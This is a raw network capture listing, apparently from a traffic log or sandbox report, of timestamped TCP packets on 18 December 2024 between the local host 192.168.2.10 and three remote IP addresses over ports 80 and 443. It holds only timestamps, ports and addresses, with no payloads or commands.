Dec 18, 2024 15:56:34.378012896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.378113985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.378865957 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.378885984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.378979921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.379370928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.379468918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.379647017 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.380172014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.380207062 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.380278111 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.380745888 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.381252050 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.381300926 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.381426096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.381547928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.381613970 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.382328987 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.382348061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.382404089 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.382844925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.383104086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.383164883 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.383795023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.383814096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.383893967 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.384429932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.384592056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.384643078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.385113001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.385178089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.385245085 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.385998964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.386014938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.386157036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.386603117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.408178091 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:34.408257008 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:34.409759045 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:34.409769058 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:34.410015106 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:34.411354065 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:34.412355900 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:34.412390947 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:34.437777042 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.443310022 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.443399906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.443476915 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.443562984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.443722963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.443783998 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.443864107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.444466114 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.444487095 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.444544077 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.445219040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.445239067 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.445278883 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.445986032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.446006060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.446065903 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.446631908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.446650982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.446703911 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.447258949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.447335958 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.447395086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.448043108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.448064089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.448146105 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.448719025 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.448739052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.448766947 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.449440002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.449459076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.449487925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.450342894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.450412035 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.450582981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.451311111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.451378107 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.451553106 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.452075005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.452125072 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.452126026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.452642918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.452682972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.452735901 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.453073978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.453207016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.453214884 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.453727961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.453746080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.453794956 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.454416990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.454457998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.454476118 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.455179930 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.455246925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.455279112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.456031084 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.456110954 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.456275940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.456898928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.456918001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.456969023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.457360983 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.457510948 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.457592964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.458195925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.458214998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.458262920 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.458734989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.458792925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.458848953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.459384918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.459450006 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.459455967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.460089922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.460192919 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.460211039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.460851908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.460870981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.460927010 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.461541891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.461560965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.461597919 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.462256908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.462335110 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.462346077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.462982893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.463004112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.463072062 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.463629961 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.463685989 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.463721991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.464343071 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.464406967 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.464521885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.465082884 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.465101957 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.465193987 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.465816021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.465835094 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.465874910 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.466398001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.466527939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.466531992 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.467227936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.467247009 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.467308044 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.467982054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.468002081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.468039036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.468586922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.468647003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.468662977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.469414949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.469475985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.469525099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.470056057 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.470108986 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.470150948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.470792055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.470809937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.470853090 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.471419096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.471487045 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.471637964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.472146988 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.472166061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.472225904 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.473200083 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.473263025 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.474494934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.474766016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.474785089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.474802971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.474828959 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.474870920 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.474874973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.475481987 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.475501060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.475543976 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.475869894 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.475929976 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.476497889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.477313042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.477449894 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.477493048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.477545023 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.477583885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.477600098 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.477839947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.477894068 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.477969885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.478852987 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.478900909 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.478976965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.479296923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.479362965 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.479407072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.480041027 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.480060101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:34.480094910 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:34.486372948 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.486444950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.486459017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.486615896 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.486843109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.486884117 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.486911058 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.486941099 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.487837076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.487876892 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.487978935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.488898039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.488955021 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.489078045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.489218950 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.490099907 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.490164995 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.490277052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.490345001 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.491384983 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.491435051 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.491501093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.491513968 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.492501020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.492666006 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.492710114 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.492774963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.493782997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.493858099 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.493858099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.493932962 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.494880915 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.495027065 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.495032072 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.495165110 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.496109009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.496154070 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.496162891 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.496248960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.497248888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.497308969 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.497464895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.497529030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.498506069 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.498572111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.498706102 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.498768091 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.499778986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.499819040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.499845028 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.499882936 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.500890017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.500907898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.500976086 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.502115965 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.502150059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.502183914 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.502216101 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.503302097 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.503350019 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.503377914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.503469944 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.504512072 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.504545927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.504581928 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.504611969 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.505747080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.505780935 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.505812883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.505836964 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.506864071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.506923914 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.506943941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.507035971 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.508119106 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.508198023 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.508204937 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.508311033 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.509316921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.509335995 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.509407043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.510482073 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.510500908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.510560989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.511595964 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.511764050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.511790037 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.511843920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.512845993 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.512972116 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.512996912 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.513010979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.514014959 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.514058113 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.514065981 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.514102936 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.515274048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.515337944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.515347004 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.515403986 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.516382933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.516455889 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.516477108 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.516534090 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.517612934 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.517672062 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.517725945 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.517868996 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.518744946 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.518812895 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.518881083 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.518973112 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.519949913 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.520016909 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.520066977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.520138979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.521116018 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.521179914 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.521342039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.521462917 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.522339106 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.522411108 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.522429943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.522555113 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.523612976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.523636103 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.523691893 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.524795055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.524852037 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.524878025 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.524919987 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.525912046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.526052952 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:34.526060104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:34.526158094 CET	49806	80	192.168.2.10	185.215.113.16
